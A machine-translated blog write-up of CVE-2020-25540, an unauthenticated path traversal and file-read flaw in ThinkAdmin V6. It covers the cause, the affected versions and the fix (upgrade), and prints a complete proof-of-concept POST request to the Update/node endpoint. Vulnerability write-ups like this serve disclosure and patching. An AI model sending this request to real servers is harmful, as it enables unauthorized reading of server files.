当前位置:网站首页>Thinkadmin V6 arbitrary file read vulnerability (cve-2020-25540)
Thinkadmin V6 arbitrary file read vulnerability (cve-2020-25540)
2022-07-03 00:15:00 【Lomi only bear】
0x00: Vulnerability profile :
ThinkAdmin It's a set of bases ThinkPHP Framework of the general background management system ,ThinkAdmin Rights management of is based on Standards RBAC Simplify , It eliminates the complicated node management , Make permission management simpler , Specifically, it includes node management 、 Rights management 、 Menu management 、 User management .
ThinkAdmin 6 There is a path traversal vulnerability in version . An attacker can exploit this vulnerability through GET Request encoding parameters to arbitrarily read files on the remote server .
0x01 Causes of loopholes :
https://github.com/zoujingli/ThinkAdmin/blob/v6/app/admin/controller/api/Update.php
Update.php Function method in is not authorized , Direct functions can be called directly . It leads to loopholes .
0x02 scope :
Thinkadmin Version less than ≤ 2020.08.03.01
0x03 Loophole recurrence :
POC: POST /admin.html?s=admin/api.Update/node HTTP/1.1 Host: 127.0.0.1 Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 22 rules=%5B%22.%2F%22%5D
0x04 Repair suggestions :
Upgrade to the latest version
边栏推荐
- Question e: merged fruit -noip2004tgt2
- 论文的英文文献在哪找(除了知网)?
- 请问大家在什么网站上能查到英文文献?
- JVM foundation review
- Slf4j + Logback日志框架
- 130 pages of PPT from the brick boss introduces the new features of Apache spark 3.2 & 3.3 in depth
- Is the multitasking loss in pytoch added up or backward separately?
- 35 pages dangerous chemicals safety management platform solution 2022 Edition
- Wechat applet basic learning (wxss)
- Linux 下安装 redis
猜你喜欢
![洛谷_P2010 [NOIP2016 普及组] 回文日期_折半枚举](/img/a3/55bb71d39801ceeee421a0c8ded333.png)
洛谷_P2010 [NOIP2016 普及组] 回文日期_折半枚举

Create an interactive experience of popular games, and learn about the real-time voice of paileyun unity

来自数砖大佬的 130页 PPT 深入介绍 Apache Spark 3.2 & 3.3 新功能

TypeError: Cannot read properties of undefined (reading ***)

Digital collection trading website domestic digital collection trading platform

Additional: token; (don't read until you finish writing...)

Architecture: database architecture design

How much do you know about synchronized?
![[shutter] shutter photo wall (center component | wrap component | clickrrect component | stack component | positioned component | button combination component)](/img/c5/2f65d37682607aab98443d7f1ba775.jpg)
[shutter] shutter photo wall (center component | wrap component | clickrrect component | stack component | positioned component | button combination component)

TypeError: Cannot read properties of undefined (reading ***)
随机推荐
Returns the maximum distance between two nodes of a binary tree
程序分析与优化 - 9 附录 XLA的缓冲区指派
请求与响应
Talk with the interviewer about the pit of MySQL sorting (including: duplicate data problem in order by limit page)
開源了 | 文心大模型ERNIE-Tiny輕量化技術,又准又快,效果全開
Wechat applet basic learning (wxss)
Top Devops tool chain inventory
67 page overall planning and construction plan for a new smart city (download attached)
collections. What is the purpose of chainmap- What is the purpose of collections. ChainMap?
哪些软件可以整篇翻译英文论文?
Linux 下安装 redis
Leetcode relaxation question - day of the week
Sourcetree details
Where can I find foreign papers?
leetcode 650. 2 keys keyboard with only two keys (medium)
直击产业落地!飞桨重磅推出业界首个模型选型工具
35页危化品安全管理平台解决方案2022版
有哪些比较推荐的论文翻译软件?
Chapter 3 of getting started with MySQL: database creation and operation
教育学大佬是怎么找外文参考文献的?